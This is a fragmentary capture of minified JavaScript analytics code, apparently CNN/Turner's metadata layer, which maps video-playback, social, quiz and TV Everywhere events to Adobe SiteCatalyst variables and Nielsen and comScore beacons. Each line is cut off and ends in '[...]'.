+v.trt;voReferenceObjct.eVar61=voReferenceObjct.prop61="primary";voReferenceObjct.events="event1";voReferenceObjct.eVar5=v.metas.branding;voReferenceObjct.eVar6="SingleClip";voReferenceObjct.eVar7=v.source;voReferenceObjct.eVar8=v.category;voReferenceObjct.eVar9=v.headline;voReferenceObjct.linkTrackVars="pageName,products,prop1,eVar3,prop2,eVar4,eVar1,prop7,prop30,eVar30,prop31,eVar31,prop32,eVar32,prop33,eVar33,prop61,eVar61,prop71,eVar71,events,eVar5,eVar6,eVar7,eVar8,eVar9";voReference [...]
+"event1";vo[f].apply(voReferenceObjct,args)}if(vo._jsmd.destroy!=null){vo._jsmd.destroy(vo);vo._jsmd=null}}catch(err){}}}var section=this.get("business.cnn.page.section[0]");var c4override=getSiteSpecificSettings(8,section);if(v.iscmsIIimport&&v.cmsIIimportType&&v.iscmsIIimport=="true"&&v.cmsIIimportType=="legacy money"){neilsenCNNMoney={"video-census":{clientid:"us-100120",vcid:"c02",prod:"vc",sfcode:"us"}};sendNielsenVideoCensusBeacon(neilsenCNNMoney,"start",v.id);_jsmd.doImageBeacon(" [...]
+{c1:"1",c2:"8587182",c3:"00003",c4:"8587295",c5:"020000"})}else{sendComscoreVideoMetrixBeacon(v.id,1,c4override);sendNielsenVideoCensusBeacon(this.get("m:nielsen"),"start",v.id)}},"video-pause":function(data,map){var vc=new _jsmd.plugin.gCNNVideoCollection;var ad_number=vc.get(data.video.id,"adNumber");if(ad_number==0){if(_w.live_interval&&_w.live_interval>0&&_w.video_data){var is_pause=vc.get(data.video.id,"isPaused");if(is_pause){var jj=_w.live_interval*1E3;_w.setinterval_id=setInterva [...]
+jj)}else{_w.sendVideoProgress();clearInterval(_w.setinterval_id)}}vc.pause(data.video.id)}},"video-buffer":function(data,map){var vc=new _jsmd.plugin.gCNNVideoCollection;vc.buffer(data.video.id)},"video-scrub":function(data,map){var vc=new _jsmd.plugin.gCNNVideoCollection;vc.set(data.video.id,"hasScrubbed",true)},"video-complete":function(data,map){var v=data.video||{};var vc=new _jsmd.plugin.gCNNVideoCollection;var timeSpent=vc.complete(v.id);this.set("page.content_type","adbp:none");th [...]
+timeSpent+"");this.set("action","link");this.set("link",{name:"video-complete: "+v.headline,type:"o"});this.push("page.events","video.complete");if(v.metas.branding&&v.metas.branding!="")this.push("page.events","video.partner_start");try{if(parseFloat(timeSpent)==parseInt(timeSpent)&&!isNaN(timeSpent)){if(timeSpent>3600||timeSpent<0)if(v.trt&&!isNaN(v.trt)&&parseFloat(v.trt)==parseInt(v.trt))timeSpent=parseFloat(v.trt)*2;else timeSpent=0}else timeSpent=0}catch(e){timeSpent=0}this.send(); [...]
+v.cmsIIimportType&&v.iscmsIIimport=="true"&&v.cmsIIimportType=="legacy money"){var action=this.config.vendor.action,l=action.length,args,f,vo;while(l--){vo=action[l][0];f=action[l][1];args=action[l][2];if(vo&&vo[f].apply)try{if(vo.trackingServer){var voReferenceObjct=action[0][0];voReferenceObjct.trackingServer="metrics.cnn.com";voReferenceObjct.trackingServerSecure="smetrics.cnn.com";var host=_w.location.hostname;var path=_w.location.pathname;var accountName="aolturnercnnmoneyoffsite";v [...]
+voReferenceObjct.oun=voReferenceObjct.un=accountName;voReferenceObjct.referrer=document.referrer;voReferenceObjct.eVar1=voReferenceObjct.products=this.get("video.id");voReferenceObjct.eVar31=voReferenceObjct.eVar3=host;voReferenceObjct.eVar33=voReferenceObjct.eVar4="news";voReferenceObjct.eVar71=voReferenceObjct.eVar30=v.source;voReferenceObjct.eVar32=v.trt;voReferenceObjct.eVar61="primary";voReferenceObjct.events="event2";voReferenceObjct.eVar5=v.metas.branding;voReferenceObjct.eVar6="S [...]
+voReferenceObjct.eVar7=v.source;voReferenceObjct.eVar8=v.category;voReferenceObjct.eVar9=v.headline;voReferenceObjct.linkTrackVars="eVar3,eVar4,eVar1,eVar30,eVar31,eVar32,eVar33,eVar61,eVar71,events,products,eVar5,eVar6,eVar7,eVar8,eVar9";voReferenceObjct.linkTrackEvents="event2";vo[f].apply(voReferenceObjct,args)}if(vo._jsmd.destroy!=null){vo._jsmd.destroy(vo);vo._jsmd=null}}catch(err){}}}if(v.iscmsIIimport&&v.cmsIIimportType&&v.cmsIIimportType=="legacy money"){neilsenCNNMoney={"video-c [...]
+vcid:"c02",prod:"vc",sfcode:"us"}};sendNielsenVideoCensusBeacon(neilsenCNNMoney,"complete",v.id,timeSpent+"")}else sendNielsenVideoCensusBeacon(this.get("m:nielsen"),"complete",v.id,timeSpent+"")},"video-stop":"alias:video-complete","video-fifty":function(data,map){var v=data.video||{};this.set("page.content_type","adbp:none");var duration=parseFloat(v.trt)/2;var vc=new _jsmd.plugin.gCNNVideoCollection;vc.set(v.id,"isHalf",true);var timeSpent=vc.progress(v.id);this.set("video.duration_wa [...]
+"");this.set("action","link");this.set("link",{name:"video-midpoint: "+v.headline,type:"o"});this.push("page.events","video.fifty");if(duration=="");else{if(timeSpent>duration*2)timeSpent=duration*2;this.send()}},"video-ten":function(data,map){var v=data.video||{};this.set("page.content_type","adbp:none");var duration=parseFloat(v.trt)/2;var vc=new _jsmd.plugin.gCNNVideoCollection;vc.set(v.id,"isTen",true);var timeSpent=vc.progress(v.id);this.set("video.duration_watched",timeSpent+"");th [...]
+"link");this.set("link",{name:"video-ten: "+v.headline,type:"o"});this.push("page.events","video.ten");if(v.metas.branding&&v.metas.branding!="")this.push("page.events","video.partner_start");if(duration=="");else{if(timeSpent>duration*2)timeSpent=duration*2;this.send()}},"video-twentyfive":function(data,map){var v=data.video||{};this.set("page.content_type","adbp:none");var duration=parseFloat(v.trt)/2;var vc=new _jsmd.plugin.gCNNVideoCollection;vc.set(v.id,"isTwentyFive",true);var time [...]
+this.set("video.duration_watched",timeSpent+"");this.set("action","link");this.set("link",{name:"video-twentyfive: "+v.headline,type:"o"});this.push("page.events","video.twentyfive");if(v.metas.branding&&v.metas.branding!="")this.push("page.events","video.partner_start");if(duration=="");else{if(timeSpent>duration*2)timeSpent=duration*2;this.send()}},"video-seventyfive":function(data,map){var v=data.video||{};this.set("page.content_type","adbp:none");var duration=parseFloat(v.trt)/2;var [...]
+vc.set(v.id,"isSeventyFive",true);var timeSpent=vc.progress(v.id);this.set("video.duration_watched",timeSpent+"");this.set("action","link");this.set("link",{name:"video-seventyfive: "+v.headline,type:"o"});this.push("page.events","video.seventyfive");if(v.metas.branding&&v.metas.branding!="")this.push("page.events","video.partner_start");if(duration=="");else{if(timeSpent>duration*2)timeSpent=duration*2;this.send()}},"video-live":function(data,map){_w.video_data=data;var v=data.video||{} [...]
+vc.start(v.id,v.headline);this.set("video.id","live "+v.id);this.set("video.title","live: "+v.headline);this.set("business.cnn.page.section[1]","live video "+v.id);this.set("business.cnn.video.video_player","live player");this.set("business.cnn.video.start_type","live");this.set("action","link");this.set("link",{name:"video-live: "+v.headline,type:"o"});this.push("page.events","video.live");if(v.metas&&v.metas.branding&&v.metas.branding!="")this.push("page.events","video.partner_start"); [...]
+sendComscoreVideoMetrixBeacon(v.id,1);sendNielsenVideoCensusBeacon(this.get("m:nielsen"),"start",v.id,"live");if(_w.live_interval&&_w.live_interval>0){var jj=_w.live_interval*1E3;_w.setinterval_id=setInterval("_w.sendVideoProgress()",jj)}},"video-progress":function(data,map){var v=data.video||{};var vc=_jsmd.plugin.gCNNVideoCollection();var timeSpent=vc.progress(v.id);try{if(parseFloat(timeSpent)==parseInt(timeSpent)&&!isNaN(timeSpent)){if(_w.live_interval&&_w.live_interval>0)var timeLim [...]
+else var timeLimit=60;if(timeSpent>timeLimit)timeSpent=timeLimit;else if(timeSpent<0)timeSpent=0}else timeSpent=0}catch(err){timeSpent=0}this.set("video.duration_watched",timeSpent+"");this.set("video.id","live "+v.id);this.set("video.title","live: "+v.headline);this.set("business.cnn.page.section[1]","live video "+v.id);this.set("business.cnn.video.video_player","live player");this.set("business.cnn.video.start_type","live");this.set("action","link");this.set("link",{name:"video-progres [...]
+type:"o"});this.send()},"video-common":function(data,map){var v=data.video||{};if(v.id&&v.id.indexOf("cvplive")!=-1)var v=_w.video_data.video||{};else _w.video_data="";this.set("video.title","/video/"+v.id);this.set("video.id","/video/"+v.id);if(window.location.href.indexOf("ireport.cnn.com")>-1||window.location.href.indexOf("ireportqa.cnn.com")>-1){var title=this.plugin.gIreportgetMetaContents("title");if(title)this.set("video.title","/video/"+v.id+" ["+title+"]")}if(jsmdIsAd&&jsmdAdVid [...]
+jsmdAdRange);else{jsmdIsAd=false;this.set("business.cnn.video.ad_duration","no ad present")}var player=this.plugin.gJObj(cnn_metadata,"business.cnn.video.video_player");var pageAtribution=this.plugin.gJObj(cnn_metadata,"business.cnn.video.video_hpt");var collection=this.plugin.gJObj(cnn_metadata,"business.cnn.video.video_collection");if(player)this.set("business.cnn.video.video_player",player);else this.set("business.cnn.video.video_player","vod player");if(v.player_type&&v.player_type!= [...]
+v.player_type);var videoId=this.get("video.id");if(videoId!=null&&videoId.indexOf("cvplive")!=-1){this.set("business.cnn.video.video_player","live player");this.set("video.title","live: "+v.headline);this.set("video.id","live "+v.id)}this.set("business.cnn.page.HPlocation",pageAtribution);this.set("business.cnn.video.video_collection",collection);this.set("business.cnn.video.start_type","vod");this.set("business.cnn.video.video_section",v.category);this.set("business.cnn.video.video_leng [...]
+var d=v.dateCreated&&v.dateCreated.text?v.dateCreated.text:"";var p=d!=""?d.split("/"):"";if(p!=""&&p[0].length!=4)d="20"+p[2]+"/"+p[0]+"/"+p[1];this.set("business.cnn.page.publish_date",d);var days=_jsmd.plugin.gCNNDaysSinceLastPublish(d);this.set("business.cnn.page.days_since_publish",days+"");this.set("page.content_type","adbp:video start");this.set("page.events",null);if(v.metas&&v.metas.branding&&v.metas.branding!=""){this.push("page.events","video.partner_start");this.set("business [...]
+v.metas.branding)}if(v.subcategory&&v.subcategory&&v.subcategory!="")this.set("business.cnn.page.branding_ad",v.subcategory);if(v.source&&v.iscmsIIimport&&v.source&&v.iscmsIIimport){this.set("business.cnn.video.source",v.source);if(v.iscmsIIimport=="true"){this.push("page.events","video.sync");this.set("business.cnn.video.air_syndication","secondary")}else this.set("business.cnn.video.air_syndication","primary")}},"vid-button":function(data,map){var v=data.value||{};this.set("action","li [...]
+{name:"vid-button: "+v,type:"o"});if(v.indexOf("car")>-1)this.set("business.cnn.page.HPlocation",v);else if(v.indexOf("vec")>-1)this.set("business.cnn.page.lateral_navigation",v);this.send()},"interaction-video":function(data,map){this.set("business.cnn.video.video_interaction",data);this.push("page.events","video.interaction");this.set("action","link");this.set("link",{name:"video-interaction: "+data,type:"o"});this.send()},"social-click":function(data,map){var co=data.clickObj||{};this [...]
+"link");this.set("link",{name:"social-click: "+co.socialType,type:"o"});this.set("business.cnn.page.socialType",co.socialType);this.set("page.events",null);this.push("page.events","social.interaction");this.send()},"election-click":function(data,map){var page_name=this.get("page.name");if(data.pagename){page_name=page_name+" "+data.pagename;this.set("page.name",page_name)}this.set("business.cnn.page.section[0]",data.section1);this.set("business.cnn.page.section[1]",data.section2);this.se [...]
+data.section3);this.set("business.cnn.page.section[3]",data.state);this.set("business.cnn.page.section[4]",data.racetype);this.push("page.events","content.interactive");this.send()},"game-interaction":function(data,map){var gameValue=data.value;this.set("action","link");this.set("link",{name:"game-interaction: "+gameValue,type:"o"});this.set("business.cnn.game.status",gameValue);this.push("page.events","game.interaction");this.send()},"quiz-interaction":function(data,map){var co=data.cli [...]
+this.set("page.template_type","other:interactive");this.set("page.content_type","other:quiz");this.set("business.cnn.page.socialType",co.action);this.push("page.events","social.interaction");this.set("action","link");this.set("link",{name:"quiz-interaction: "+co.action,type:"o"});this.send()},"tve-live_video-start":function(data,map){var MSO=jsmd.tveMSO;this.set("tve.video_title",data.title);jsmd.TVE.videoTitle=this.get("tve.video_title");var brand=this.get("tve.brand");var dtitle=data.h [...]
+var drsid=jsmd.tveRSID+"";if(dtitle.indexOf("hln")!=-1||drsid.indexOf("hln")!=-1)this.set("tve.brand","hln");jsmd.TVE.brand=this.get("tve.brand");var distribName=MSO;if(MSO=="Unauthorized"){distribName="unspecified mvpd";jsmd.TVE.authState="not authenticated"}this.set("tve.host_location",distribName+":"+jsmd.TVE.brand);jsmd.TVE.host=this.get("tve.host_location");this.set("tve.content_id",data.contentId);jsmd.TVE.vidID=this.get("tve.content_id");this.set("tve.publication_date",data.lastAi [...]
+this.get("tve.publication_date");this.set("tve.days_since_publication",data.dayssince);jsmd.TVE.dayssince=this.get("tve.days_since_publication");this.set("tve.mode","live");jsmd.TVE.mode="live";this.set("tve.franchise",data.franchise);jsmd.TVE.videoFranchise=this.get("tve.franchise");jsmd.TVE.playerLocation=jsmd.get("tve.player_location");this.set("tve.video.live.stream",data.id);jsmd.TVE.liveStreamName=data.id;this.set("tve.video.authentication",jsmd.TVE.authState);this.set("tve.user_id [...]
+this.set("tve.products",";"+data.title);try{var s_data={account:jsmd.tveRSID,events:"event13,event27",prop1:jsmd.TVE.brand,eVar1:jsmd.TVE.brand,prop2:jsmd.TVE.host,eVar2:jsmd.TVE.host,prop4:jsmd.TVE.channel,eVar4:jsmd.TVE.channel,prop5:jsmd.TVE.vidID,eVar5:jsmd.TVE.vidID,prop6:jsmd.TVE.lastAirDate,eVar6:jsmd.TVE.lastAirDate,prop7:jsmd.TVE.dayssince,eVar7:jsmd.TVE.dayssince,prop8:jsmd.TVE.mode,eVar8:jsmd.TVE.mode,prop9:jsmd.TVE.videoFranchise,eVar9:jsmd.TVE.videoFranchise,prop10:jsmd.TVE. [...]
+eVar10:jsmd.TVE.fullEpisode,prop11:jsmd.TVE.playerLocation,eVar11:jsmd.TVE.playerLocation,prop14:jsmd.TVE.liveStreamName,eVar14:jsmd.TVE.liveStreamName,prop16:jsmd.TVE.authState,eVar16:jsmd.TVE.authState,prop19:jsmd.TVE.userID,eVar19:jsmd.TVE.userID,linkTrackVars:"events,products,prop1,eVar1,prop2,eVar2,prop4,eVar4,prop5,eVar5,prop6,eVar6,prop7,eVar7,prop8,eVar8,prop9,eVar9,prop10,eVar10,prop11,eVar11,prop13,eVar13,prop14,eVar14,prop16,eVar16,prop19,eVar19,prop20,eVar20,prop35,prop46,eVa [...]
+this.set("business.vendor.sitecatalyst",s_data)}catch(e){}this.send();sendComscoreVideoMetrixBeacon(data.id,1);sendNielsenVideoCensusBeacon(this.get("m:nielsen"),"start",data.id,data.id)},"tve-live_video-progress":function(data,map){this.set("tve.products",";"+data.title+";;;event16=60");this.set("action","link");this.set("link",{name:"video progress",type:"o"});try{var s_data={account:jsmd.tveRSID,events:"event16,event20",eVar1:jsmd.TVE.brand,eVar2:jsmd.TVE.host,eVar4:jsmd.TVE.channel,e [...]
+eVar6:jsmd.TVE.lastAirDate,eVar7:jsmd.TVE.dayssince,eVar8:jsmd.TVE.mode,eVar9:jsmd.TVE.videoFranchise,eVar10:jsmd.TVE.fullEpisode,eVar11:jsmd.TVE.playerLocation,eVar14:jsmd.TVE.liveStreamName,eVar16:jsmd.TVE.authState,eVar19:jsmd.TVE.userID,linkTrackVars:"events,products,eVar1,eVar2,eVar4,eVar5,eVar6,eVar7,eVar8,eVar9,eVar10,eVar11,eVar13,eVar14,eVar16,eVar19,eVar20,prop35,eVar35,prop46,eVar46,prop47,eVar47"};this.set("business.vendor.sitecatalyst",s_data)}catch(e){}this.send()},"tve-liv [...]
+map){},"mso_picker-open":function(){var s_data={pageName:"TVE MVPD Picker"};this.set("business.vendor.sitecatalyst",s_data);this.send()},"tve_video-pause":function(data,map){},"tve-cnn_video-start":"alias:tve-live_video-start","tve-cnn_video-complete":"alias:tve-live_video-complete","tve-cnn_video-progress":"alias:tve-live_video-progress","tve-model-open":function(data,map){if(data.sitecatalyst)this.set("business.vendor.sitecatalyst",data.sitecatalyst);this.send()}}}};
+var _jsmd=function(){var _w=window;var prvVersion=_jsmd_default.version||"ADBP-VANILLA";var prvRelease=_jsmd_default.release||"ERR",ver=prvVersion+":"+prvRelease;if(_jsmd_default.dictionary!=null)_jsmd_default.dictionary.init["code.version"]=ver;var prvDefaultMetadataDictionaryTemplate=_jsmd_default.dictionary||{init:{"business.name":"turner","business.lob":"general","business.brand":"turner","page.clean_url":"raw:gADBPURL|","page.domain":"raw:gADBPURL|domain","page.name":"raw:gADBPPageN [...]
+"page.section[1]":"raw:gADBPURL|path,2","time.hour":"raw:gADBPTimePart|h","time.dow":"gADBPTimePart|d","time.weekpart":"gADBPTimePart|w","page.full_url":_w.location.href,"page.template_type":"adbp:error","code.version":prvVersion+":"+prvRelease}};var prvDefaultVendorMapTemplate=_jsmd_default.map||{turner:{vendors:[{name:"Adobe SiteCatalyst H-code",account:"adbp",settings:"adbp",variablemap:"adbp",eventmap:"adbp"}],adbp:{account:function(){return"turnererrors"},settings:{trackInlineStats: [...]
+variablemap:{"m:page.name":["pageName","eVar26"],"m:page.section[0]":["channel","eVar27"],"m:page.domain":["server","eVar29"],"m:page.clean_url":["prop26"],"m:search.internal.number_results":["prop27"],"m:page.section[1]":["prop28","eVar28"],"m:video.title":["prop29","eVar41"],"m:business.name":["prop30","eVar30"],"m:page.franchise":["prop31","eVar31"],"m:page.template_type":["prop32","eVar32"],"m:page.content_type":["prop33","eVar33"],"m:user.authenticated":["prop34","eVar34"],"m:user.s [...]
+"eVar36"],"m:time":["prop40","eVar40"],"m:video.id":["eVar42"],"m:promo.internal.id":["eVar43"],"m:promo.internal.implied":["eVar48"],"m:promo.external.id":["campaign"],"m:code.version":["prop35"],"m:business.lob|m:business.brand|m:business.friendly_name|m:page.domain|m:page.section[0]|m:page.section[1]":["hier1"],delimiter:"|"},eventmap:{"m:page.name":["event26"],"page.view":["event26"],"search.internal.keyword":["event27"],"registration.complete":["event28"],"product.view":["prodView"] [...]
+"cart.add":["scAdd"],"cart.new":["scOpen"],"checkout.start":["scCheckout"],"checkout.name_address":["event13"],"checkout.validate":["event14"],"purchase.complete":["purchase"],"checkout.validate":["event14"],"promo.internal.id":["event31"],"video.start":["event32"],"video.complete":["event33"],"video.autostart":["event34"],"ad.start.preroll":["event35"],"user.login":["event37"],"blog.read":["event38"],"article.read":["event39"]}}}};var prvDefaultVendorSpecificTemplate;var pubDefaultMetad [...]
+_jsmd_default.plugins;prvDefaultVendorSpecificTemplate=_jsmd_default.vendor||{"Nielsen Hybrid Light Code":{delimiter:":",initialize:function(accountf,vendorAction){var a=accountf,o,va=this.get("action"),vc=this.config.vendor;if(typeof accountf=="function")a=accountf.call(this)||"IGNORE";vc.action.push([NielsenHybridTag,"push_nielsen",[a]]);return o},destroy:function(vendorObject){}},"Adobe SiteCatalyst H-code":{delimiter:":",initialize:function(accountf,vendorAction){var a=accountf,o,va= [...]
+vc=this.config.vendor;if(typeof accountf=="function")a=accountf.call(this)||"IGNORE";o=s_gi(a);delete o.pageName;if(va==="link"){var lnk=this.get("link");var t=lnk.type,n=lnk.name;t=t==="download"?"d":t==="exit"?"e":"o";n=!n?"defaultlink:"+t+":"+_w.location.pathname:n;vc.action.push([o,"tl",[true,t,n]])}else{events="event26";vc.action.push([o,"t",[]])}o.doPlugins=function(){};o.products=null;return o},destroy:function(vendorObject){var unsetList=vendorObject._jsmd.unset_list;for(var i=un [...]
+1;i>=0;i--)vendorObject[unsetList[i]]="";vendorObject.events="";vendorObject.products=""},setEvent:function(obj,key,value){if(!value||!key)return;var e=obj.events&&obj.events.length>0?obj.events.split(","):[];var k=typeof key=="object"?key:[key];for(var i=k.length-1;i>=0;i--){var addEvent=1;for(var j=e.length-1;j>=0;j--)if(e[j]==k[i])addEvent=0;if(addEvent==1){e.push(k[i]);var v1=parseFloat(value);if(v1!=null&&typeof v1=="number"&&v1>0)obj.products=";;;;"+k[i]+"="+value}}obj.events=e.joi [...]
+productmd){var MAXPRODUCTS=10;if(!productmd||!productmd.list)return;var lst=productmd.list,dim=productmd.dimensions,p=[],tmp,tl,missprod="Missing Product",i;if(obj.products!=null)p=obj.products.split(",");m=obj["client:merchandising_map"],re=/[\;\\,\|]+/g,rchar="-";for(var i=0;i<lst.length&&i<MAXPRODUCTS;i++){tl=lst[i];tmp=[!tl.category?"":tl.category.replace(re,rchar),!tl.id?missprod:tl.id.replace(re,rchar)];if(tl.quantity!=null&&tl.total_price!=null){tmp[2]=tl.quantity;tmp[3]=tl.total_ [...]
+null&&m!=null){tmp2=[];for(var j=m.length-1;j>=0;j--){var subkey=m[j][0],subval=m[j][1];for(var k=dim.length-1;j>=0;j--){var lookup=dim[k][subkey];if(lookup!=null)tmp2[k]=subval+"="+lookup.replace(re,rchar)}}tmp[5]=tmp2.join("|")}p.push(tmp.join(";"))}for(i=p.length-1;i>=0;i--)if(p[i].length<7)p.splice(i,1);obj.products=p.join(",")},setVariable:function(obj,key,value,unsetList){if(!value||value.length==0)return;function inLookupDynamicShorthand(key){var shorthand=key.split("eVar").join(" [...]
+if(shorthand==="pageName")return"pageName";return shorthand!==key?shorthand:null}if(typeof key=="string")obj[key]=value;else{var l=key.length,i,k,shorthand=inLookupDynamicShorthand(key[0]);for(i=0;i<l;i++){k=key[i];if(value!=null)if(i>0&&shorthand!=null)obj[k]="D="+shorthand;else{obj[k]=value;if("pageName".indexOf(k)==-1)unsetList.push(k)}}}}}};function CAnalyticsObject(initObj,mapObj,vendorObj){var me=this;me.version=prvVersion;me.mdata={};me.config={};me.config.init=initObj.init||prvDe [...]
+me.config.map=mapObj||prvDefaultVendorMapTemplate;me.config.vendor=vendorObj||prvDefaultVendorSpecificTemplate;me.plugin=initObj.plugin||pubDefaultMetadataUtilities;me.init()}CAnalyticsObject.prototype.init=function(){var i=this.config.init,j,p=this.plugin;if(p)if(p.tAll){j=p.tAll.split("|");p.tF=[];var k,t,l=j.length;for(k=0;k<l;k++){t=j[k];if(p[t])p.tF.push(p[t])}}if(i!=null){if(typeof i.preinit=="function")i.preinit.call(this);if(i!=null)for(j in i)this.set(j,i[j]);if(typeof i.postini [...]
+CAnalyticsObject.prototype.get=function(n){var rval=[],prefix=n.split(":")[0],bname=null,t=n,reUnsafe,i,tarray=n.indexOf("|")!=-1?n.split("|"):[n];for(i=0;i<tarray.length;i++){n=tarray[i];try{switch(prefix){case "js":t=n.replace("js:","");break;case "mb":t=n.replace("mb:","this.mdata.business."+this.mdata.business["name"]+".");break;default:t="this.mdata."+n.replace(prefix+":","");break}rval.push(eval(!reUnsafe?t:t.replace(reUnsafe,"")))}catch(err){}}return rval.length>0?rval.length==1?r [...]
+null};CAnalyticsObject.prototype.getnn=function(n){var a=this.get(n);return!a?"":a};CAnalyticsObject.prototype.set=function(n,v){return n==="preinit"||n==="postinit"?null:prvSetCommonFunction.call(this,n,v,"set")};CAnalyticsObject.prototype.push=function(n,v){return n==="preinit"||n==="postinit"?null:prvSetCommonFunction.call(this,n,v,"push")};CAnalyticsObject.prototype.load=function(v){if(_jsmd_default.dynamic!=null&&typeof _jsmd_default.dynamic.load=="function")_jsmd_default.dynamic.lo [...]
+v);else this.mdata=v};CAnalyticsObject.prototype.trackMetrics=function(action,data,map){var defaultDynamicNS=!_jsmd_default.dynamic?{}:_jsmd_default.dynamic.actions;var act=defaultDynamicNS[action];var t=action.split("-");var c="";if(t.length>0){t.pop();c=t.join("-")}var common=defaultDynamicNS[c+"-common"];if(typeof act=="string"&&act.indexOf("alias:")==0)act=defaultDynamicNS[act.split("alias:")[1]];this.config.map.isDynamic=action;try{if(typeof common=="function")common.call(this,data, [...]
+data,map)}catch(e){}this.config.map.isDynamic=false};CAnalyticsObject.prototype.map=function(mapObj){if(mapObj){mapObj.dirty=1;this.config.map=mapObj}var me=this,v1,v2,b1,m=this.config.map;if(m.dirty!=0){this.config.vendor.action=[];for(v1 in m){v2=m[v1];var va=v2.vendors?new arrayExtender(v2.vendors):null;if(va&&typeof va.forEach=="function")va.forEach(inDoVendorInitialize)}m.dirty=0}function inDoVendorInitialize(map){var vendorLogic=me.config.vendor,n=map.name;if(!vendorLogic[n])return [...]
+vendorLogic[n].initialize,pre=map.prevendor,post=map.postvendor,acctKeys=map.account,emapKeys=map.eventmap,cmapKeys=map.settings,vmapKeys=map.variablemap,delimiter=v2.delimiter,dynamicFunctionCall=me.config.map.isDynamic;if(dynamicFunctionCall!=null&&dynamicFunctionCall&&map.dynamic_actions!=null){var z,y,al=map.dynamic_actions,al2;for(z in al)if(dynamicFunctionCall.indexOf(z)!=-1){al2=al[z];cmapKeys=al2.settings||cmapKeys;vmapKeys=al2.variablemap||vmapKeys;emapKeys=al2.eventmap||emapKey [...]
+al2.account||acctKeys;pre=al2.prevendor||pre;post=al2.postvendor||post;if(al2.ignore!=null)return}}if(!acctKeys&&!v2[acctKeys])return;var accts=v2[acctKeys].account,premap=v2[acctKeys].premap,postmap=v2[acctKeys].postmap;if(typeof pre=="function")pre.call(me,map);if(typeof vendorInstantiate=="function"&&typeof accts=="function"){vObj=vendorInstantiate.call(me,accts);me.v=vObj;var i,t,mapBlock;if(premap&&premap.call)premap.call(me);if(cmapKeys!=null)for(i=0;i<cmapKeys.length;i++){mapBlock [...]
+if(mapBlock&&mapBlock.settings)inDoMap.call(me,"settings",mapBlock.settings)}if(vmapKeys!=null)for(i=0;i<vmapKeys.length;i++){mapBlock=v2[vmapKeys[i]];if(mapBlock&&mapBlock.variablemap)inDoMap.call(me,"variables",mapBlock.variablemap)}if(emapKeys!=null)for(i=0;i<emapKeys.length;i++){mapBlock=v2[emapKeys[i]];if(mapBlock&&mapBlock.eventmap)inDoMap.call(me,"events",mapBlock.eventmap)}if(typeof vendorLogic[n].setProducts=="function")vendorLogic[n].setProducts.call(me,vObj,me.mdata.product);i [...]
+postmap.call)postmap.call(me)}if(post&&post.call)post.call(me,map);delete me.v;function inDoMap(mapType,mapObj){var me=this,i,vl=vendorLogic[n],setv=vl.setVariable,sete=vl.setEvent,setc=vl.setConfig,v=vObj,inclusion=null,exclusion=null,doFilteredSettings=false,delim=mapObj.delimiter||delimiter||vl.delimiter;if(dynamicFunctionCall!=null&&typeof dynamicFunctionCall=="string"){var tl1=mapBlock["filters"],tl2;if((tl2=tl1!=null&&tl1[dynamicFunctionCall]!=null?tl1[dynamicFunctionCall]:null)!=n [...]
+tl2["include"];exclusion=tl2["exclude"];doFilteredSettings=tl2["do-settings"]}}if(!v._jsmd){v._jsmd={unset_list:[]};if(vl.destroy!=null)v._jsmd.destroy=vl.destroy}var set=function(f,lookupType){var i,m=mapObj,res,dof=typeof lookupType=="function",skip,matchi,matche,i2;var doFilterSettingsCheck=(f!==setc||f===setc&&doFilteredSettings==true)&&(inclusion!=null||exclusion!=null);for(i in m){skip=false;if(doFilterSettingsCheck){matche=false;matchi=false;if(typeof inclusion=="object")for(i2=in [...]
+0;i2--)matchi=matchi||(i.indexOf(inclusion[i2])!=-1?true:false);else matchi=inclusion!=null&&i.indexOf(inclusion)!=-1?true:false;if(typeof exclusion=="object")for(i2=exclusion.length;i2>=0;i2--)matche=matche||(i.indexOf(exclusion[i2])!=-1?true:false);else matche=exclusion!=null&&i.indexOf(exclusion)!=-1?true:false;skip=matchi==false||matche==true}if(!skip&&(res=dof?lookupType(i):i)!=null&&typeof m[i]!="function")f.call(me,v,m[i],res,v._jsmd.unset_list)}};sete=!sete?setv:sete;setc=!setc?f [...]
+k,v){return setv(vo,v,k)}:setc;delim=!delim?":":delim;if(mapType==="settings"&&typeof setc=="function")set(setc,true);if(mapType==="variables"&&typeof setv=="function")set(setv,inLookupValue);if(mapType==="events"&&typeof sete=="function")set(sete,inLookupEventValue);function inLookupEventValue(v){var e=new arrayExtender(me.mdata.page.events),getChk=me.get(v),rval=null;if(e!=null&&e.contains(v))rval=v;if(getChk!=null)rval=getChk;return rval}function inLookupValue(v){var rval=v,i,t;rval=m [...]
+if(rval!=null&&typeof rval=="object"){if(!rval.join){t=[];for(i in rval)t.push(rval[i]);rval=t}rval=rval.join(delim)}return rval}}}};CAnalyticsObject.prototype.send=function(mapObj){this.map(mapObj);var action=this.config.vendor.action,l=action.length,args,f,vo;while(l--){vo=action[l][0];f=action[l][1];args=action[l][2];if(vo&&vo[f].apply)try{vo[f].apply(vo,args);if(vo._jsmd.destroy!=null){vo._jsmd.destroy(vo);vo._jsmd=null}}catch(err){}}};function prvSetCommonFunction(n,v,type){var me=t [...]
+typeof v=="string"&&v.indexOf("raw:")==0?true:false;if(n.indexOf("raw:")==0){n=n.substr(4);israw=true}me.config.map.dirty=1;function inDefaultTransforms(v){var plug=me.plugin,defF=new arrayExtender(plug.tF),rval=v;try{if(typeof defF=="object")rval=defF.dosequential(plug,rval);if(typeof defF=="function")rval=defF.call(plug,rval)}catch(e){}return rval}function inTranslatePluginValues(v){var rval=null,plug=me.plugin,pA=v.split("|"),t=pA[0].split("raw:"),israw=t.length>1?true:false,f;pA[0]=! [...]
+t[1];if(pA[1]&&pA[1].indexOf(",")!=-1){t=pA.pop();pA=pA.concat(t.split(","))}try{f=pA.splice(0,1)[0];if(typeof plug[f]=="function"){plug.md=me;rval=plug[f].apply(plug,pA)}}catch(err){}return rval}n=n.indexOf("m:")==0||n.indexOf("v:")==0?n.substr(2):n;if(n.indexOf("mb:")==0)n="business."+this.get("business.name")+"."+n.substr(2);var narray=n.split("."),nlast,i,vfinal,last=me.mdata,t1,z,are=/([^\[]+)\[(\d+)\]/;if(typeof v=="object")vfinal=v;if(typeof v=="function")vfinal=v.call(me);if(type [...]
